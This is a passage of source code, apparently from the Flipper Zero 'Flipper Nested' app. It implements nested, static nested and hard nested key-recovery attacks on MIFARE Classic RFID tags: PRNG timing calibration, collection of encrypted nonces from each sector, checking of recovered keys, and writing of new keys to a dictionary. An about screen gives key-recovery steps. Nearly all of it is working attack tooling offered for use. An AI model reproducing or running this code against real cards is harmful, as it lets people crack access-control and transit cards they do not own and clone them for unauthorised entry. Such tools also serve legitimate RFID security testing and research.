free_nonces(&nonces, sector_count, 3);\n\n        return;\n    }\n\n    FURI_LOG_I(\n        TAG, \"Using %c key for block %lu: %012llX\", !found_key_type ? 'A' : 'B', key_block, key);\n\n    while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {\n        FuriHalNfcTxRxContext tx_rx = {};\n        uint32_t first_distance = 0;\n        uint32_t second_distance = 0;\n\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);\n\n        distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);\n\n        if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {\n            first_distance =\n                nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);\n        }\n\n        if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {\n            second_distance =\n                nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);\n        }\n\n        if(first_distance == 0 && second_distance == 0) {\n            nfc_deactivate();\n\n            free(mf_data);\n            free_nonces(&nonces, sector_count, 3);\n\n            mifare_nested_worker_change_state(\n                mifare_nested_worker, MifareNestedWorkerStateCollectingHard);\n\n            mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);\n            return;\n        }\n\n        if(first_distance < second_distance - 100 && second_distance > 100) {\n            FURI_LOG_E(\n                TAG,\n                \"Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu\",\n                first_distance,\n                second_distance);\n\n            struct distance_info info =\n                nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);\n\n            if(info.max_prng - info.min_prng > 150) {\n                FURI_LOG_W(\n                    TAG,\n                    \"PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method\",\n                    info.max_prng,\n                    info.min_prng,\n                    info.max_prng - info.min_prng);\n\n                delay = 1;\n            } else {\n                FURI_LOG_I(\n                    TAG,\n                    \"PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)\");\n\n                distance =\n                    nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);\n\n                delay = 2;\n                tries_count = 3;\n            }\n        }\n\n        if(distance == 0 || delay == 1) {\n            bool failed = false;\n            // Tag need delay or unpredictable PRNG\n            FURI_LOG_W(TAG, \"Can't determine distance, trying to find timing...\");\n\n            mifare_nested_worker->callback(\n                MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);\n\n            delay = mifare_nested_worker_predict_delay(\n                &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);\n\n            if(delay == 1) {\n                FURI_LOG_E(TAG, \"Can't determine delay\");\n\n                // Check that we didn't lost tag\n                FuriHalNfcDevData lost_tag_data = {};\n                nested_get_data(&lost_tag_data);\n                if(lost_tag_data.uid_len == 0) {\n                    // We lost it.\n                    mifare_nested_worker->callback(\n                        MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);\n\n                    while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&\n                          lost_tag_data.cuid != data.cuid) {\n                        furi_delay_ms(250);\n                        nested_get_data(&lost_tag_data);\n                    }\n\n                    mifare_nested_worker->callback(\n                        MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);\n\n                    continue;\n                }\n\n                failed = true;\n            }\n\n            if(delay == 2) {\n                FURI_LOG_E(TAG, \"Can't determine delay in 25 tries, fallback to hardnested\");\n\n                nfc_deactivate();\n\n                free(mf_data);\n                free_nonces(&nonces, sector_count, 3);\n\n                mifare_nested_worker_change_state(\n                    mifare_nested_worker, MifareNestedWorkerStateCollectingHard);\n\n                mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);\n                return;\n            }\n\n            if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {\n                distance = nested_calibrate_distance(\n                    &tx_rx, key_block, found_key_type, key, delay, false);\n            }\n\n            if(distance == 0 && !failed) {\n                FURI_LOG_E(TAG, \"Found delay, but can't find distance\");\n\n                failed = true;\n            }\n\n            if(failed) {\n                nfc_deactivate();\n\n                mifare_nested_worker->callback(\n                    MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);\n\n                free(mf_data);\n                free_nonces(&nonces, sector_count, 3);\n\n                return;\n            }\n\n            tries_count = 3;\n        }\n\n        mifare_nested_worker->context->nonces = &nonces;\n\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n\n        for(uint8_t tries = 0; tries < tries_count; tries++) {\n            for(uint8_t sector = 0; sector < sector_count; sector++) {\n                for(uint8_t key_type = 0; key_type < 2; key_type++) {\n                    Nonces* info = nonces.nonces[sector][key_type][tries];\n                    if(info->collected) {\n                        FURI_LOG_I(\n                            TAG,\n                            \"Skipping sector %u, block %u, key_type: %u as we already have a key\",\n                            sector,\n                            mifare_nested_worker_get_block_by_sector(sector),\n                            key_type);\n\n                        info->skipped = true;\n\n                        nonces.nonces[sector][key_type][tries] = info;\n                        mifare_nested_worker->context->nonces = &nonces;\n\n                        mifare_nested_worker->callback(\n                            MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n\n                        continue;\n                    }\n\n                    if(!nested_check_block(\n                           &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {\n                        FURI_LOG_E(\n                            TAG,\n                            \"Skipping sector %u, block %u, key_type: %u as we can't auth on it\",\n                            sector,\n                            mifare_nested_worker_get_block_by_sector(sector),\n                            key_type);\n\n                        info->skipped = true;\n\n                        nonces.nonces[sector][key_type][0] = info;\n                        mifare_nested_worker->context->nonces = &nonces;\n\n                        mifare_nested_worker->callback(\n                            MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n\n                        continue;\n                    }\n\n                    while(!info->collected) {\n                        if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {\n                            break;\n                        }\n\n                        struct nonce_info result = nested_attack(\n                            &tx_rx,\n                            key_block,\n                            found_key_type,\n                            mifare_nested_worker_get_block_by_sector(sector),\n                            key_type,\n                            key,\n                            distance,\n                            delay);\n\n                        if(result.full) {\n                            FURI_LOG_I(\n                                TAG,\n                                \"Accured nonces for sector %u, block %u, key_type: %u\",\n                                sector,\n                                mifare_nested_worker_get_block_by_sector(sector),\n                                key_type);\n\n                            info = nonces.nonces[sector][key_type][tries];\n                            info->collected = true;\n                            info->skipped = false;\n\n                            memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));\n                            memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));\n                            memcpy(&info->parity, result.parity, sizeof(result.parity));\n\n                            nonces.nonces[sector][key_type][tries] = info;\n                            nonces.cuid = result.cuid;\n                            nonces.sector_count = sector_count;\n                            nonces.tries = tries_count;\n\n                            mifare_nested_worker->context->nonces = &nonces;\n\n                            mifare_nested_worker->callback(\n                                MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);\n                            break;\n                        } else {\n                            mifare_nested_worker->callback(\n                                MifareNestedWorkerEventNoTagDetected,\n                                mifare_nested_worker->context);\n                        }\n                    }\n                }\n            }\n        }\n\n        break;\n    }\n\n    SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(\n        &data, storage, &nonces, tries_count, 3, sector_count, delay, distance);\n\n    free(mf_data);\n\n    if(result->saved) {\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);\n    } else {\n        mifare_nested_worker->context->save_state = result;\n\n        mifare_nested_worker->callback(\n            MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);\n    }\n\n    nfc_deactivate();\n}\n\nbool* mifare_nested_worker_check_keys_exists(\n    Storage* storage,\n    char* path,\n    uint64_t* keys,\n    uint32_t key_count,\n    MifareNestedWorker* mifare_nested_worker) {\n    bool* old_keys = malloc(sizeof(bool) * key_count);\n    Stream* file_stream = file_stream_alloc(storage);\n    file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);\n    FuriString* key_strings[key_count];\n\n    for(uint32_t i = 0; i < key_count; i++) {\n        old_keys[i] = false;\n        key_strings[i] = furi_string_alloc_printf(\"%012llX\\n\", keys[i]);\n    }\n\n    while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {\n        FuriString* next_line = furi_string_alloc();\n\n        if(!stream_read_line(file_stream, next_line)) {\n            break;\n        }\n\n        for(uint32_t i = 0; i < key_count; i++) {\n            if(keys[i] == (uint64_t)-1) continue;\n\n            if(furi_string_cmp(next_line, key_strings[i]) == 0) {\n                old_keys[i] = true;\n            }\n        }\n\n        furi_string_free(next_line);\n    }\n\n    for(uint32_t i = 0; i < key_count; i++) {\n        furi_string_free(key_strings[i]);\n    }\n\n    file_stream_close(file_stream);\n    free(file_stream);\n\n    return old_keys;\n}\n\nvoid mifare_nested_worker_write_key(Storage* storage, FuriString* key) {\n    Stream* file_stream = file_stream_alloc(storage);\n    file_stream_open(\n        file_stream,\n        EXT_PATH(\"nfc/assets/mf_classic_dict_user.nfc\"),\n        FSAM_READ_WRITE,\n        FSOM_OPEN_APPEND);\n\n    stream_write_string(file_stream, key);\n\n    file_stream_close(file_stream);\n}\n\nvoid mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {\n    KeyInfo_t* key_info = mifare_nested_worker->context->keys;\n    Storage* storage = furi_record_open(RECORD_STORAGE);\n    Stream* file_stream = file_stream_alloc(storage);\n    FuriString* next_line = furi_string_alloc();\n    FuriString* path = furi_string_alloc();\n    FuriHalNfcDevData data = {};\n    nested_get_data(&data);\n    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);\n    NestedCheckKeyResult result = NestedCheckKeyNoTag;\n    FuriHalNfcTxRxContext tx_rx = {};\n    uint32_t key_count = 0;\n    uint32_t sector_key_count = 0;\n    uint64_t keys[80];\n    bool found_keys[2][40];\n    bool unique_keys[2][40];\n    uint32_t sector_count = 0;\n\n    if(type == MfClassicType4k) {\n        sector_count = 40;\n        FURI_LOG_I(TAG, \"Found Mifare Classic 4K tag\");\n    } else if(type == MfClassicType1k) {\n        sector_count = 16;\n        FURI_LOG_I(TAG, \"Found Mifare Classic 1K tag\");\n    } else { // if(type == MfClassicTypeMini)\n        sector_count = 5;\n        FURI_LOG_I(TAG, \"Found Mifare Classic Mini tag\");\n    }\n\n    uint32_t keys_count = sector_count * 2;\n\n    for(uint8_t key = 0; key < 2; key++) {\n        for(uint8_t i = 0; i < sector_count; i++) {\n            found_keys[key][i] = false;\n            unique_keys[key][i] = false;\n        }\n    }\n\n    for(uint8_t i = 0; i < keys_count; i++) {\n        keys[i] = -1;\n    }\n\n    mifare_nested_worker_get_found_keys_file_path(&data, path);\n\n    if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {\n        FURI_LOG_E(TAG, \"Can't open %s\", furi_string_get_cstr(path));\n\n        file_stream_close(file_stream);\n\n        mifare_nested_worker_get_nonces_file_path(&data, path);\n\n        if(!file_stream_open(\n               file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {\n            mifare_nested_worker->callback(\n                MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);\n        } else {\n            mifare_nested_worker->callback(\n                MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);\n        }\n\n        file_stream_close(file_stream);\n\n        free(file_stream);\n        furi_string_free(path);\n        furi_string_free(next_line);\n        furi_record_close(RECORD_STORAGE);\n\n        return;\n    };\n\n    while(true) {\n        if(!stream_read_line(file_stream, next_line)) {\n            break;\n        }\n\n        if(furi_string_start_with_str(next_line, \"Key\")) {\n            uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';\n            uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +\n                             atoi((char[]){furi_string_get_char(next_line, 14)});\n\n            if(!unique_keys[key_type][sector]) {\n                unique_keys[key_type][sector] = true;\n                sector_key_count++;\n            }\n        }\n\n        key_count++;\n    }\n\n    stream_rewind(file_stream);\n\n    key_info->total_keys = key_count;\n    key_info->sector_keys = sector_key_count;\n\n    while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {\n        if(!stream_read_line(file_stream, next_line)) {\n            break;\n        }\n\n        if(furi_string_start_with_str(next_line, \"Key\")) {\n            // Key X sector XX: XX XX XX XX XX XX\n            // 0000000000111111111122222222223333\n            // 0123456789012345678901234567890123\n            uint8_t keyChar[6];\n            uint8_t count = 0;\n\n            uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';\n            uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +\n                             atoi((char[]){furi_string_get_char(next_line, 14)});\n\n            for(uint8_t i = 17; i < 33; i += 3) {\n                hex_char_to_uint8(\n                    furi_string_get_char(next_line, i),\n                    furi_string_get_char(next_line, i + 1),\n                    &keyChar[count]);\n                count++;\n            }\n\n            uint64_t key = nfc_util_bytes2num(keyChar, 6);\n\n            key_info->checked_keys++;\n\n            if(found_keys[key_type][sector]) {\n                mifare_nested_worker->callback(\n                    MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);\n\n                continue;\n            }\n\n            while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {\n                result = nested_check_key(\n                    &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);\n\n                if(result == NestedCheckKeyNoTag) {\n                    mifare_nested_worker->callback(\n                        MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);\n\n                    furi_delay_ms(250);\n                } else {\n                    break;\n                }\n            }\n\n            if(result == NestedCheckKeyValid) {\n                FURI_LOG_I(\n                    TAG, \"Found valid %c key for sector %u: %012llX\", key_type, sector, key);\n                bool exists = false;\n\n                for(uint8_t i = 0; i < keys_count; i++) {\n                    if(keys[i] == key) {\n                        exists = true;\n                    }\n                }\n\n                if(!exists) {\n                    keys[key_info->found_keys] = key;\n                }\n\n                key_info->found_keys++;\n                found_keys[key_type][sector] = true;\n            }\n\n            mifare_nested_worker->callback(\n                MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);\n        }\n    }\n\n    furi_string_free(next_line);\n    file_stream_close(file_stream);\n    free(file_stream);\n\n    mifare_nested_worker->callback(\n        MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);\n\n    bool* old_keys = mifare_nested_worker_check_keys_exists(\n        storage,\n        EXT_PATH(\"nfc/assets/mf_classic_dict_user.nfc\"),\n        keys,\n        keys_count,\n        mifare_nested_worker);\n\n    for(uint8_t i = 0; i < keys_count; i++) {\n        if(old_keys[i]) {\n            keys[i] = -1;\n        }\n    }\n\n    old_keys = mifare_nested_worker_check_keys_exists(\n        storage,\n        EXT_PATH(\"nfc/assets/mf_classic_dict.nfc\"),\n        keys,\n        keys_count,\n        mifare_nested_worker);\n\n    for(uint8_t i = 0; i < keys_count; i++) {\n        if(old_keys[i]) {\n            keys[i] = -1;\n        }\n    }\n\n    for(uint8_t i = 0; i < keys_count; i++) {\n        if(keys[i] == (uint64_t)-1) continue;\n\n        FuriString* key_string = furi_string_alloc_printf(\"%012llX\\n\", keys[i]);\n\n        mifare_nested_worker_write_key(storage, key_string);\n        FURI_LOG_I(TAG, \"Added new key: %s\", furi_string_get_cstr(key_string));\n\n        key_info->added_keys++;\n\n        furi_string_free(key_string);\n    }\n\n    if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {\n        FURI_LOG_E(TAG, \"Failed to remove .keys file\");\n    }\n\n    furi_record_close(RECORD_STORAGE);\n    furi_string_free(path);\n\n    mifare_nested_worker->callback(\n        MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);\n\n    return;\n}"
  },
  {
    "path": "mifare_nested_worker.h",
    "content": "#pragma once\n\n#include <lib/nfc/nfc_device.h>\n\n#define NESTED_FOLDER EXT_PATH(\"nfc/.nested\")\n\ntypedef struct MifareNestedWorker MifareNestedWorker;\n\ntypedef enum {\n    MifareNestedWorkerStateReady,\n\n    MifareNestedWorkerStateCheck,\n    MifareNestedWorkerStateCollecting,\n    MifareNestedWorkerStateCollectingStatic,\n    MifareNestedWorkerStateCollectingHard,\n    MifareNestedWorkerStateValidating,\n\n    MifareNestedWorkerStateStop,\n} MifareNestedWorkerState;\n\ntypedef enum {\n    MifareNestedWorkerEventReserved = 1000,\n\n    MifareNestedWorkerEventNoTagDetected,\n    MifareNestedWorkerEventNoNoncesCollected,\n    MifareNestedWorkerEventNoncesCollected,\n    MifareNestedWorkerEventCollecting,\n\n    MifareNestedWorkerEventNewNonce,\n    MifareNestedWorkerEventKeyChecked,\n    MifareNestedWorkerEventKeysFound,\n    MifareNestedWorkerEventNeedKey,\n    MifareNestedWorkerEventAttackFailed,\n    MifareNestedWorkerEventCalibrating,\n    MifareNestedWorkerEventStaticEncryptedNonce,\n    MifareNestedWorkerEventNeedPrediction,\n    MifareNestedWorkerEventProcessingKeys,\n    MifareNestedWorkerEventNeedKeyRecovery,\n    MifareNestedWorkerEventNeedCollection,\n    MifareNestedWorkerEventHardnestedStatesFound\n} MifareNestedWorkerEvent;\n\ntypedef bool (*MifareNestedWorkerCallback)(MifareNestedWorkerEvent event, void* context);\n\nMifareNestedWorker* mifare_nested_worker_alloc();\n\nvoid mifare_nested_worker_change_state(\n    MifareNestedWorker* mifare_nested_worker,\n    MifareNestedWorkerState state);\n\nvoid mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker);\n\nvoid mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker);\n\nvoid mifare_nested_worker_start(\n    MifareNestedWorker* mifare_nested_worker,\n    MifareNestedWorkerState state,\n    NfcDeviceData* dev_data,\n    MifareNestedWorkerCallback callback,\n    void* context);\n\ntypedef struct {\n    uint32_t key_type;\n    uint32_t block;\n    uint32_t target_nt[2];\n    uint32_t target_ks[2];\n    uint8_t parity[2][4];\n    bool skipped;\n    bool from_start;\n    bool invalid;\n    bool collected;\n    bool hardnested;\n} Nonces;\n\ntypedef struct {\n    uint32_t cuid;\n    uint32_t sector_count;\n    // 40 (or 16/5) sectors, 2 keys (A/B), 3 tries\n    Nonces* nonces[40][2][3];\n    uint32_t tries;\n    // unique first bytes\n    uint32_t hardnested_states;\n} NonceList_t;\n\ntypedef struct {\n    uint32_t total_keys;\n    uint32_t checked_keys;\n    uint32_t found_keys;\n    uint32_t added_keys;\n    uint32_t sector_keys;\n    bool tag_lost;\n} KeyInfo_t;\n\ntypedef struct {\n    uint32_t saved;\n    uint32_t invalid;\n    uint32_t skipped;\n} SaveNoncesResult_t;"
  },
  {
    "path": "mifare_nested_worker_i.h",
    "content": "#pragma once\n\n#include <furi.h>\n#include \"mifare_nested_i.h\"\n#include \"mifare_nested_worker.h\"\n\nstruct MifareNestedWorker {\n    FuriThread* thread;\n\n    NfcDeviceData* dev_data;\n\n    MifareNestedWorkerCallback callback;\n    MifareNested* context;\n\n    MifareNestedWorkerState state;\n};\n\nint32_t mifare_nested_worker_task(void* context);\n\nvoid mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker);\n\nvoid mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker);\n\nvoid mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker);\n\nvoid mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker);\n\nvoid mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker);\n"
  },
  {
    "path": "scenes/mifare_nested_scene.c",
    "content": "#include \"mifare_nested_scene.h\"\n\n// Generate scene on_enter handlers array\n#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,\nvoid (*const mifare_nested_on_enter_handlers[])(void*) = {\n#include \"mifare_nested_scene_config.h\"\n};\n#undef ADD_SCENE\n\n// Generate scene on_event handlers array\n#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,\nbool (*const mifare_nested_on_event_handlers[])(void* context, SceneManagerEvent event) = {\n#include \"mifare_nested_scene_config.h\"\n};\n#undef ADD_SCENE\n\n// Generate scene on_exit handlers array\n#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,\nvoid (*const mifare_nested_on_exit_handlers[])(void* context) = {\n#include \"mifare_nested_scene_config.h\"\n};\n#undef ADD_SCENE\n\n// Initialize scene handlers configuration structure\nconst SceneManagerHandlers mifare_nested_scene_handlers = {\n    .on_enter_handlers = mifare_nested_on_enter_handlers,\n    .on_event_handlers = mifare_nested_on_event_handlers,\n    .on_exit_handlers = mifare_nested_on_exit_handlers,\n    .scene_num = MifareNestedSceneNum,\n};\n"
  },
  {
    "path": "scenes/mifare_nested_scene.h",
    "content": "#pragma once\n\n#include <gui/scene_manager.h>\n\n// Generate scene id and total number\n#define ADD_SCENE(prefix, name, id) MifareNestedScene##id,\ntypedef enum {\n#include \"mifare_nested_scene_config.h\"\n    MifareNestedSceneNum,\n} MifareNestedScene;\n#undef ADD_SCENE\n\nextern const SceneManagerHandlers mifare_nested_scene_handlers;\n\n// Generate scene on_enter handlers declaration\n#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);\n#include \"mifare_nested_scene_config.h\"\n#undef ADD_SCENE\n\n// Generate scene on_event handlers declaration\n#define ADD_SCENE(prefix, name, id) \\\n    bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);\n#include \"mifare_nested_scene_config.h\"\n#undef ADD_SCENE\n\n// Generate scene on_exit handlers declaration\n#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);\n#include \"mifare_nested_scene_config.h\"\n#undef ADD_SCENE\n"
  },
  {
    "path": "scenes/mifare_nested_scene_about.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nvoid mifare_nested_scene_about_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n\n    FuriString* temp_str;\n    temp_str = furi_string_alloc();\n    furi_string_printf(temp_str, \"\\e#%s\\n\", \"Information\");\n\n    furi_string_cat_printf(temp_str, \"Version: %s\\n\", NESTED_VERSION_APP);\n    furi_string_cat_printf(temp_str, \"Developed by:\\n%s\\n\\n\", NESTED_AUTHOR);\n    furi_string_cat_printf(temp_str, \"Github: %s\\n\\n\", NESTED_GITHUB_LINK);\n\n    furi_string_cat_printf(temp_str, \"\\e#%s\\n\", \"Description\");\n    furi_string_cat_printf(\n        temp_str,\n        \"Ported Nested attacks\\nfrom Proxmark3 (Iceman fork)\\nCurrently supported attacks:\\n - nested attack\\n - static nested attack\\n - hard nested attack\\n\\n\");\n    furi_string_cat_printf(\n        temp_str,\n        \"You will need desktop app to recover keys from collected nonces: %s\\n\\n\",\n        NESTED_RECOVER_KEYS_GITHUB_LINK);\n    furi_string_cat_printf(temp_str, \"\\e#%s\\n\", \"Quick guide\");\n    furi_string_cat_printf(temp_str, \"1. Install key recovery script on PC:\\n\");\n    furi_string_cat_printf(temp_str, \"pip install FlipperNested\\n\");\n    furi_string_cat_printf(temp_str, \"2. Connect Flipper Zero to PC\\n\");\n    furi_string_cat_printf(temp_str, \"3. Run key recovery:\\n\");\n    furi_string_cat_printf(temp_str, \"FlipperNested\");\n\n    widget_add_text_box_element(\n        mifare_nested->widget,\n        0,\n        0,\n        128,\n        14,\n        AlignCenter,\n        AlignBottom,\n        \"\\e#\\e!                                                      \\e!\\n\",\n        false);\n    widget_add_text_box_element(\n        mifare_nested->widget,\n        0,\n        2,\n        128,\n        14,\n        AlignCenter,\n        AlignBottom,\n        \"\\e#\\e! Flipper Nested \\e!\\n\",\n        false);\n    widget_add_text_scroll_element(\n        mifare_nested->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str));\n    furi_string_free(temp_str);\n\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n}\n\nbool mifare_nested_scene_about_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n    UNUSED(mifare_nested);\n    UNUSED(event);\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_about_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n\n    // Clear views\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_added_keys.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nvoid mifare_nested_scene_added_keys_widget_callback(\n    GuiButtonType result,\n    InputType type,\n    void* context) {\n    MifareNested* mifare_nested = context;\n    if(type == InputTypeShort) {\n        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);\n    }\n}\n\nvoid mifare_nested_scene_added_keys_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n    KeyInfo_t* key_info = mifare_nested->keys;\n    Widget* widget = mifare_nested->widget;\n    char draw_str[32] = {};\n    char append[5] = {'k', 'e', 'y', ' ', '\\0'};\n    if(key_info->added_keys != 1) {\n        append[3] = 's';\n    }\n\n    widget_add_string_element(\n        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, \"Results of key recovery\");\n\n    if(key_info->added_keys != 0) {\n        snprintf(draw_str, sizeof(draw_str), \"Added: %lu %s\", key_info->added_keys, append);\n        notification_message(mifare_nested->notifications, &sequence_success);\n        widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess);\n    } else {\n        snprintf(draw_str, sizeof(draw_str), \"No new keys were added\");\n        widget_add_string_element(\n            widget, 0, 22, AlignLeft, AlignTop, FontSecondary, \"Try running \\\"Nested attack\\\"\");\n        widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, \"again\");\n        notification_message(mifare_nested->notifications, &sequence_error);\n    }\n\n    widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, draw_str);\n    widget_add_button_element(\n        widget,\n        GuiButtonTypeLeft,\n        \"Back\",\n        mifare_nested_scene_added_keys_widget_callback,\n        mifare_nested);\n\n    free(key_info);\n\n    KeyInfo_t* new_key_info = malloc(sizeof(KeyInfo_t));\n    mifare_nested->keys = new_key_info;\n\n    // Setup and start worker\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n}\n\nbool mifare_nested_scene_added_keys_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {\n            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n            consumed = true;\n        }\n    } else if(event.type == SceneManagerEventTypeBack) {\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n        consumed = true;\n    }\n\n    return consumed;\n}\n\nvoid mifare_nested_scene_added_keys_on_exit(void* context) {\n    MifareNested* mifare_nested = context;\n\n    widget_reset(mifare_nested->widget);\n}\n"
  },
  {
    "path": "scenes/mifare_nested_scene_check.c",
    "content": "#include \"../mifare_nested_i.h\"\n\nenum {\n    MifareNestedSceneCheckStateTagSearch,\n    MifareNestedSceneCheckStateTagFound,\n};\n\nbool mifare_nested_check_worker_callback(MifareNestedWorkerEvent event, void* context) {\n    furi_assert(context);\n\n    MifareNested* mifare_nested = context;\n    view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);\n\n    return true;\n}\n\nstatic void mifare_nested_scene_check_setup_view(MifareNested* mifare_nested) {\n    Popup* popup = mifare_nested->popup;\n    popup_reset(popup);\n    uint32_t state =\n        scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneCheck);\n\n    if(state == MifareNestedSceneCheckStateTagSearch) {\n        popup_set_icon(mifare_nested->popup, 0, 8, &I_ApplyTag);\n        popup_set_text(\n            mifare_nested->popup, \"Apply tag to\\nthe back\", 128, 32, AlignRight, AlignCenter);\n    } else {\n        popup_set_icon(popup, 12, 23, &I_Loading);\n        popup_set_header(popup, \"Checking\\nDon't move...\", 52, 32, AlignLeft, AlignCenter);\n    }\n\n    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewPopup);\n}\n\nvoid mifare_nested_scene_check_on_enter(void* context) {\n    MifareNested* mifare_nested = context;\n\n    scene_manager_set_scene_state(\n        mifare_nested->scene_manager,\n        MifareNestedSceneCheck,\n        MifareNestedSceneCheckStateTagSearch);\n    mifare_nested_scene_check_setup_view(mifare_nested);\n\n    // Setup and start worker\n    mifare_nested_worker_start(\n        mifare_nested->worker,\n        MifareNestedWorkerStateCheck,\n        &mifare_nested->nfc_dev->dev_data,\n        mifare_nested_check_worker_callback,\n        mifare_nested);\n    mifare_nested_blink_start(mifare_nested);\n}\n\nbool mifare_nested_scene_check_on_event(void* context, SceneManagerEvent event) {\n    MifareNested* mifare_nested = context;\n    bool consumed = false;\n\n    if(event.type == SceneManagerEventTypeCustom) {\n        if(event.event == MifareNestedWorkerEventCollecting) {\n            if(mifare_nested->run == NestedRunAttack) {\n                if(mifare_nested->settings->only_hardnested) {\n                    FURI_LOG_I(\"MifareNested\", \"Using Hard Nested because user settings\");\n                    mifare_nested->collecting_type = MifareNestedWorkerStateCollectingHard;\n                }\n                scene_manager_next_scene(\n                    mifare_nested->scene_manager, MifareNestedSceneCollecting);\n            } else {\n                scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheckKeys);\n            }\n            consumed = true;\n        } else if(event.event == MifareNestedWorkerEventNoTagDetected) {\n            scene_manager_set_scene_state(\n                mifare_nested->scene_manager,\n                MifareNestedSceneCheck,\n                MifareNestedSceneCheckStateTagSearch);\n            mifare_nested_scene_check_setup_view(mifare_nested);\n            consumed = true;\n        }\n    }\n    return consumed;\n}\n\nvoid mifare_nested_scene_check_on_exit(void* context) {\n    